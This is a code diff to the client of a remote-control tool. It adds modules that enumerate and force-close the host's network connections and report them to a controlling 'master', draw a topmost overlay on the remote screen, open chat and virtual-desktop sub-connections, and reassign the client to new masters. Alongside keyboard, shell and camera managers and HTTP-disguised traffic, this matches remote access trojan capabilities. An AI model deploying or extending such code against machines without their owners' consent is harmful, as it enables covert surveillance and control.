+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
+}
+
 DWORD WINAPI LoopShellManager(LPVOID lParam)
 {
     // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
     return LoopManager<CServicesManager, 0>(lParam);
 }
 
+DWORD WINAPI LoopConnectionManager(LPVOID lParam)
+{
+    return LoopManager<CConnectionsManager, 0>(lParam);
+}
+
 DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
 {
     iniFile cfg(CLIENT_PATH);

client/Common.h

@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
 DWORD WINAPI LoopScreenManager(LPVOID lParam);
 DWORD WINAPI LoopFileManager(LPVOID lParam);
 DWORD WINAPI LoopTalkManager(LPVOID lParam);
+DWORD WINAPI LoopChatManager(LPVOID lParam);
+DWORD WINAPI LoopMachineManager(LPVOID lParam);
+DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
 DWORD WINAPI LoopProcessManager(LPVOID lParam);
 DWORD WINAPI LoopWindowManager(LPVOID lParam);
 DWORD WINAPI LoopVideoManager(LPVOID lParam);
 DWORD WINAPI LoopAudioManager(LPVOID lParam);
 DWORD WINAPI LoopRegisterManager(LPVOID lParam);
 DWORD WINAPI LoopServicesManager(LPVOID lParam);
+DWORD WINAPI LoopConnectionManager(LPVOID lParam);
 DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
 DWORD WINAPI LoopProxyManager(LPVOID lParam);
 DWORD WINAPI LoopClientLogManager(LPVOID lParam);

client/ConnectionsManager.cpp

@@ -0,0 +1,239 @@
+// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "stdafx.h"
+#include "ConnectionsManager.h"
+#include "Common.h"
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#include <iphlpapi.h>
+#include <tcpmib.h>
+#include <udpmib.h>
+#include <vector>
+
+#pragma comment(lib, "iphlpapi.lib")
+
+#if ENABLE_CONNECTION_MNG
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
+{
+    SendConnectionList();
+}
+
+CConnectionsManager::~CConnectionsManager()
+{
+}
+
+// 把 PID 解析成进程映像名（UTF-8）。进程可能已退出/受保护，失败时填 <unknown>。
+static void ResolveProcName(DWORD pid, char* out, int outLen)
+{
+    if (outLen <= 0) return;
+    out[0] = 0;
+    if (pid == 0) {
+        strcpy_s(out, outLen, "System Idle Process");
+        return;
+    }
+    HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+    if (h == NULL) {
+        strcpy_s(out, outLen, "<unknown>");
+        return;
+    }
+    wchar_t wpath[MAX_PATH] = { 0 };
+    DWORD len = MAX_PATH;
+    BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
+    CloseHandle(h);
+    if (!ok) {
+        strcpy_s(out, outLen, "<unknown>");
+        return;
+    }
+    wchar_t* base = wcsrchr(wpath, L'\\');
+    base = base ? base + 1 : wpath;
+    if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
+        strcpy_s(out, outLen, "<unknown>");
+        return;
+    }
+    out[outLen - 1] = 0;
+}
+
+// IPv4 地址：iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD（值 0xC0A80101 即 192.168.1.1），
+// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
+static void PutAddr4(uint8_t* out, DWORD addrNet)
+{
+    out[0] = (uint8_t)(addrNet >> 24);
+    out[1] = (uint8_t)(addrNet >> 16);
+    out[2] = (uint8_t)(addrNet >> 8);
+    out[3] = (uint8_t)(addrNet);
+}
+
+static DWORD GetAddr4(const uint8_t* addr)
+{
+    return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
+}
+
+static void AppendTcp4(std::vector<ConnectionInfo>& rows)
+{
+    PMIB_TCPTABLE_OWNER_PID pTable = NULL;
+    DWORD dwSize = 0;
+    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
+        return;
+    pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
+    if (pTable == NULL) return;
+    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
+        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+            const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
+            ConnectionInfo info = { 0 };
+            info.proto = 1;
+            info.af = AF_INET;
+            info.pid = r.dwOwningPid;
+            PutAddr4(info.localAddr, r.dwLocalAddr);   // 网络序 DWORD → 网络序字节
+            info.localPort = ntohs((uint16_t)r.dwLocalPort);  // 端口网络序 → 主机序
+            PutAddr4(info.remoteAddr, r.dwRemoteAddr);
+            info.remotePort = ntohs((uint16_t)r.dwRemotePort);
+            info.state = r.dwState;
+            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+            rows.push_back(info);
+        }
+    }
+    free(pTable);
+}
+
+static void AppendTcp6(std::vector<ConnectionInfo>& rows)
+{
+    PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
+    DWORD dwSize = 0;
+    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
+        return;
+    pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
+    if (pTable == NULL) return;
+    if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
+        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+            const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
+            ConnectionInfo info = { 0 };
+            info.proto = 1;
+            info.af = AF_INET6;
+            info.pid = r.dwOwningPid;
+            memcpy(info.localAddr, r.ucLocalAddr, 16);
+            info.localPort = ntohs((uint16_t)r.dwLocalPort);
+            memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
+            info.remotePort = ntohs((uint16_t)r.dwRemotePort);
+            info.state = r.dwState;
+            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+            rows.push_back(info);
+        }
+    }
+    free(pTable);
+}
+
+static void AppendUdp4(std::vector<ConnectionInfo>& rows)
+{
+    PMIB_UDPTABLE_OWNER_PID pTable = NULL;
+    DWORD dwSize = 0;
+    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
+        return;
+    pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
+    if (pTable == NULL) return;
+    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
+        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+            const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
+            ConnectionInfo info = { 0 };
+            info.proto = 2;
+            info.af = AF_INET;
+            info.pid = r.dwOwningPid;
+            PutAddr4(info.localAddr, r.dwLocalAddr);
+            info.localPort = ntohs((uint16_t)r.dwLocalPort);
+            info.state = 0;
+            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+            rows.push_back(info);
+        }
+    }
+    free(pTable);
+}
+
+static void AppendUdp6(std::vector<ConnectionInfo>& rows)
+{
+    PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
+    DWORD dwSize = 0;
+    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
+        return;
+    pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
+    if (pTable == NULL) return;
+    if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
+        for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
+            const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
+            ConnectionInfo info = { 0 };
+            info.proto = 2;
+            info.af = AF_INET6;
+            info.pid = r.dwOwningPid;
+            memcpy(info.localAddr, r.ucLocalAddr, 16);
+            info.localPort = ntohs((uint16_t)r.dwLocalPort);
+            info.state = 0;
+            ResolveProcName(info.pid, info.procName, sizeof(info.procName));
+            rows.push_back(info);
+        }
+    }
+    free(pTable);
+}
+
+VOID CConnectionsManager::SendConnectionList()
+{
+    std::vector<ConnectionInfo> rows;
+    AppendTcp4(rows);
+    AppendTcp6(rows);
+    AppendUdp4(rows);
+    AppendUdp6(rows);
+
+    size_t count = rows.size();
+    if (count > 0xFFFF) count = 0xFFFF;
+    ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
+    LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
+    if (szBuffer == NULL) return;
+    szBuffer[0] = TOKEN_CONNECTION_LIST;
+    uint16_t cnt = (uint16_t)count;
+    memcpy(szBuffer + 1, &cnt, 2);
+    for (size_t i = 0; i < count; ++i)
+        memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
+
+    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+    m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
+    LocalFree(szBuffer);
+}
+
+void CConnectionsManager::KillConnection(const ConnectionInfo& info)
+{
+    // 仅 IPv4 TCP 有公开 API 可强制断开（SetTcpEntry + DELETE_TCB）。
+    if (info.proto != 1 || info.af != AF_INET) return;
+
+    MIB_TCPROW row = { 0 };
+    row.dwState = MIB_TCP_STATE_DELETE_TCB;
+    row.dwLocalAddr = GetAddr4(info.localAddr);     // 网络序字节 → 网络序 DWORD
+    row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
+    row.dwRemoteAddr = GetAddr4(info.remoteAddr);
+    row.dwRemotePort = (DWORD)htons(info.remotePort);
+    SetTcpEntry(&row);
+}
+
+VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+    switch (szBuffer[0]) {
+    case COMMAND_CONNECTION:   // 刷新
+        SendConnectionList();
+        break;
+    case COMMAND_KILL_CONNECTION:   // 强制断开
+        if (ulLength >= 1 + sizeof(ConnectionInfo)) {
+            ConnectionInfo info;
+            memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
+            KillConnection(info);
+        }
+        SendConnectionList();
+        break;
+    default:
+        break;
+    }
+}
+
+#endif

client/ConnectionsManager.h

@@ -0,0 +1,29 @@
+// ConnectionsManager.h: interface for the CConnectionsManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include "Manager.h"
+#if ENABLE_CONNECTION_MNG==0
+#define CConnectionsManager CManager
+#else
+
+class CConnectionsManager : public CManager
+{
+public:
+    CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+    virtual ~CConnectionsManager();
+    VOID SendConnectionList();
+    VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+    void KillConnection(const ConnectionInfo& info);
+};
+
+#endif
+
+#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)

client/DrawingBoardMgr.cpp

@@ -0,0 +1,290 @@
+#include "DrawingBoardMgr.h"
+#include <tchar.h>
+
+#define MSG_CLEAR 999
+
+namespace SimplePluginsDrawingBoard {
+
+DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
+{
+	m_fAlpha = 150;
+	m_bIsWorking = TRUE;
+	m_bTopMost = TRUE;
+	m_hWnd = NULL;
+	m_textColor = RGB(255,0,0);
+	m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
+		DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
+		DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
+	m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
+	__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
+	BYTE	bToken = TOKEN_DRAWING_BOARD;
+	m_ClientObject->Send2Server((char*)&bToken, 1);
+}
+
+DrawingBoardMgr::~DrawingBoardMgr()
+{
+	m_bIsWorking = FALSE;
+	while (m_hWnd)
+		Sleep(200);
+	DeleteObject(m_DrawPen);
+	DeleteObject(m_Font);
+}
+
+DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
+{
+	Mprintf("Start DrawingThreadProc\n");
+	DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
+	pThis->RunWindowThread();
+	pThis->m_bIsWorking = FALSE;
+	Mprintf("Stop DrawingThreadProc\n");
+	return 0;
+}
+
+void DrawingBoardMgr::RunWindowThread()
+{
+	const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
+	static bool s_classRegistered = false;
+	if (!s_classRegistered) {
+		WNDCLASSEX wc = {};
+		wc.cbSize = sizeof(WNDCLASSEX);
+		wc.lpfnWndProc = DrawingBoardMgr::WndProc;
+		wc.hInstance = GetModuleHandle(NULL);
+		wc.lpszClassName = CLASS_NAME;
+		wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
+		wc.hIcon = NULL;     // 标题栏图标
+		wc.hIconSm = NULL;   // 小图标（Alt+Tab 和任务栏缩略图）
+		if (!RegisterClassEx(&wc)) {
+			Mprintf("RegisterClassEx failed: %d\n", GetLastError());
+		}
+		s_classRegistered = true;
+	}
+
+	DWORD dwStyle = WS_POPUP | WS_BORDER;
+	m_hWnd = CreateWindowEx(
+		WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
+		dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
+		NULL, NULL, GetModuleHandle(NULL), this
+	);
+	if (m_hWnd == NULL) return;
+
+	LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
+	style |= WS_BORDER; // 增加窄边框
+	style &= ~(WS_CAPTION | WS_THICKFRAME);  // 去掉标题栏和可调整边框
+	SetWindowLong(m_hWnd, GWL_STYLE, style);
+
+	// 去掉系统菜单
+	SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+	BringWindowToTop(m_hWnd);
+
+	// 透明度
+	SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+
+	ShowWindow(m_hWnd, SW_SHOW);
+	UpdateWindow(m_hWnd);
+
+	MSG msg;
+	while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
+		TranslateMessage(&msg);
+		DispatchMessage(&msg);
+		Sleep(1);
+	}
+	if (m_hWnd)
+		PostMessage(m_hWnd, WM_CLOSE, 0, 0);
+	m_hWnd = NULL; // 线程退出后，窗口已销毁
+}
+
+LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+	DrawingBoardMgr* pThis = nullptr;
+
+	if (msg == WM_NCCREATE) {
+		CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
+		pThis = (DrawingBoardMgr*)cs->lpCreateParams;
+		SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
+	}
+	else {
+		pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
+	}
+
+	if (pThis) {
+		switch (msg) {
+		case WM_GETICON:
+			return NULL;
+		case WM_WINDOWPOSCHANGED:
+		{
+			WINDOWPOS* pwp = (WINDOWPOS*)lParam;
+			if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
+				// 如果窗口层级被改变，重新设置为顶层
+				SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
+					SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+			}
+			break;
+		}
+		case WM_PAINT:
+		{
+			PAINTSTRUCT ps;
+			HDC hdc = BeginPaint(hWnd, &ps);
+
+			HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
+			HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
+			pThis->m_locker.lock();
+			auto paths = pThis->m_Paths;
+			auto currentPath = pThis->m_CurrentPath;
+			auto texts = pThis->m_Texts;
+			pThis->m_locker.unlock();
+			// 画所有历史路径
+			for (const auto& path : paths)
+			{
+				if (path.size() >= 2)
+					Polyline(hdc, path.data(), (int)path.size());
+			}
+
+			// 画当前路径
+			if (currentPath.size() >= 2)
+			{
+				Polyline(hdc, currentPath.data(), (int)currentPath.size());
+			}
+
+			// 绘制文字
+			SetTextColor(hdc, pThis->m_textColor);            // 设置文本颜色
+			SetBkMode(hdc, TRANSPARENT);                      // 设置透明背景
+			for (const auto& entry : texts)
+				TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
+
+			SelectObject(hdc, hOldPen);
+			SelectObject(hdc, hOldFont);
+
+			EndPaint(hWnd, &ps);
+			return 0;
+		}
+		case WM_DESTROY:
+			PostQuitMessage(0);
+			return 0;
+		case MSG_CLEAR:
+			pThis->m_locker.lock();
+			pThis->m_Paths.clear();
+			pThis->m_CurrentPath.clear();
+			pThis->m_Texts.clear();
+			pThis->m_locker.unlock();
+			InvalidateRect(hWnd, NULL, TRUE);
+			break;
+		}
+	}
+
+	return DefWindowProc(hWnd, msg, wParam, lParam);
+}
+
+VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+	if (ulLength < 1) return;
+
+	BYTE cmd = szBuffer[0];
+
+	switch (cmd)
+	{
+	case CMD_DRAW_POINT:
+		if (ulLength == sizeof(POINT) + 1)
+		{
+			POINT pt = *(POINT*)(szBuffer + 1);
+			m_locker.lock();
+			m_CurrentPath.push_back(pt);
+			m_locker.unlock();
+			if (m_hWnd)
+				InvalidateRect(m_hWnd, NULL, FALSE);
+		}
+		break;
+	case CMD_DRAW_END:
+		m_locker.lock();
+		if (!m_CurrentPath.empty())
+		{
+			m_Paths.push_back(m_CurrentPath);
+			m_CurrentPath.clear();
+			if (m_hWnd)
+				InvalidateRect(m_hWnd, NULL, FALSE);
+		}
+		m_locker.unlock();
+		break;
+	case CMD_TRANSPORT:
+		m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
+		SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+		break;
+	case CMD_TOPMOST:
+		m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
+		SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
+			SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+		break;
+	case CMD_MOVEWINDOW:
+		if (ulLength == sizeof(RECT) + 1)
+		{
+			RECT rect = *(RECT*)(szBuffer + 1);
+			if (m_hWnd && IsWindow(m_hWnd))
+			{
+				::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top, 
+					rect.right-rect.left, rect.bottom-rect.top,
+					SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
+			}
+		}
+		break;
+	case CMD_SET_SIZE: {
+		if (ulLength == sizeof(int) * 2 + 1) {
+			int x[2];
+			memcpy(x, szBuffer + 1, sizeof(int) * 2);
+			if (IsWindow(m_hWnd)) {
+				::SetWindowPos(m_hWnd, NULL, 0, 0,
+					x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
+			}
+		}
+		break;
+	}
+	case CMD_DRAW_CLEAR: {
+		PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
+		break;
+	}
+	case CMD_DRAW_TEXT: {
+		ParseRemoteText(szBuffer + 1, ulLength - 1);
+		break;
+	}
+	default:
+		break;
+	}
+}
+
+void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
+{
+	if (length < sizeof(POINT)) return;
+
+	// 提取位置
+	POINT pt = *(POINT*)data;
+	PBYTE textData = data + sizeof(POINT);
+	int textLen = (int)(length - sizeof(POINT));
+
+	// UTF-8 → WCHAR
+	int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
+	if (wideLen <= 0) return;
+
+	std::wstring wstr(wideLen, 0);
+	MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
+
+#ifdef _UNICODE
+	CString cstr(wstr.c_str());
+#else
+	// 若项目使用多字节字符集
+	int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+	std::string cstr;
+	if (ansiLen > 0)
+	{
+		std::string ansi(ansiLen - 1, 0);
+		WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
+		cstr = ansi.c_str();
+	}
+#endif
+
+	// 存入本地图形对象并刷新绘图区域
+	m_locker.lock();
+	m_Texts.push_back(std::make_pair(pt, cstr));
+	m_locker.unlock();
+	if (m_hWnd)
+		InvalidateRect(m_hWnd, NULL, FALSE);
+}
+
+} // namespace SimplePluginsDrawingBoard

client/DrawingBoardMgr.h

@@ -0,0 +1,36 @@
+#pragma once
+#include "Manager.h"
+#include <vector>
+#include <string>
+#include "common/locker.h"
+
+namespace SimplePluginsDrawingBoard {
+
+class DrawingBoardMgr : public CManager
+{
+public:
+	DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
+	~DrawingBoardMgr();
+
+	virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+	void ParseRemoteText(PBYTE data, ULONG length);
+
+private:
+	BYTE							m_fAlpha;		// 透明度: 0-全透明, 255-不透明
+	BOOL							m_bTopMost;		// 顶层
+	BOOL							m_bIsWorking;	// 线程状态
+	HWND							m_hWnd;			// 窗口		
+	std::vector<std::vector<POINT>> m_Paths;		// 历史路径集合，每条路径是一组点
+	std::vector<POINT>				m_CurrentPath;  // 当前正在绘制的路径点集合
+	std::vector<std::pair<POINT, std::string>> m_Texts;
+	HFONT							m_Font;
+	COLORREF						m_textColor;
+	HPEN							m_DrawPen;
+	CLocker							m_locker;
+	static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
+	void RunWindowThread();
+	static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
+};
+
+} // namespace SimplePluginsDrawingBoard

client/FileManager.cpp

@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
     // 初始化V2文件传输模块
     CKernelManager* main = (CKernelManager*)pClient->GetMain();
     m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
-    if (!m_Signature.empty())
+    if (!m_Signature.empty()) {
+        iniFile cfg(CLIENT_PATH);
+        int chunkKb, durMs;
+        GetTransferSpeed(cfg, chunkKb, durMs);
         InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
-        main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
+        main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
+    }
 
     // 发送驱动器列表, 开始进行文件管理，建立新线程
     SendDriveList();

client/KernelManager.cpp

@@ -1019,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     case COMMAND_SHARE:
     case COMMAND_ASSIGN_MASTER:
         if (ulLength > 2) {
+            // 解析末尾协议段（Shine=0 / HELL=1，旧命令无此段则 -1 沿用烘焙值）
+            int shareProto = -1;
+            {
+                auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
+                if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
+                    shareProto = atoi(pv[2].c_str());
+                else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
+                    shareProto = atoi(pv[3].c_str());
+            }
             switch (szBuffer[1]) {
             case SHARE_TYPE_YAMA_FOREVER: {
                 auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1029,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                 if (now <= valid_to) break; // Avoid assign again
                 m_cfg->SetStr("settings", "master", v[0]);
                 m_cfg->SetStr("settings", "port", v[1]);
+                if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
+                    m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
                 float days = atof(v[2].c_str());
                 if (days > 0) {
                     auto valid_to = time(0) + days*86400;
@@ -1047,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                     if (v[0].empty() || v[1].empty())
                         break;
                     auto share = v[0] + ":" + v[1];
+                    if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
+                        share += ":" + std::to_string(shareProto);
                     auto list = m_cfg->GetStr("settings", "share_list");
                     auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
                     if (VectorContains(shareList, share)) break;
@@ -1054,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                     m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
                     Mprintf("Share client to new master: %s\n", share.c_str());
                 }
-                auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
+                auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
                 if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
                 break;
             }
@@ -1100,6 +1113,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                 mgr->EnableOfflineRecord(TRUE);
             }
             Logger::getInstance().usingLog(m_settings.EnableLog);
+            // 主控端经 MasterSettings 下发文件传输速度（TransferChunkKb 非 0 表示已下发，
+            // 0 表示老主控未携带，保留本地默认值）。写入 [transfer] 节，供各 InitFileUpload
+            // 调用点经 GetTransferSpeed 读取。
+            if (m_settings.TransferChunkKb) {
+                m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
+                m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
+            }
         }
         if (IsAuthKernel() && 
             (m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
@@ -1140,6 +1160,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_CHAT: {   // 远程交谈（双向聊天）
+        if (!ENABLE_MESSAGE) {
+            return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
+        }
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount].user = m_hInstance;
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_MACHINE_MANAGE: {   // 主机管理
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_FILE_MANAGER_PLUGIN: {   // 插件文件管理（SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_PRIVATE_SCREEN_PLUGIN: {   // 隐私屏幕（虚拟桌面，SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
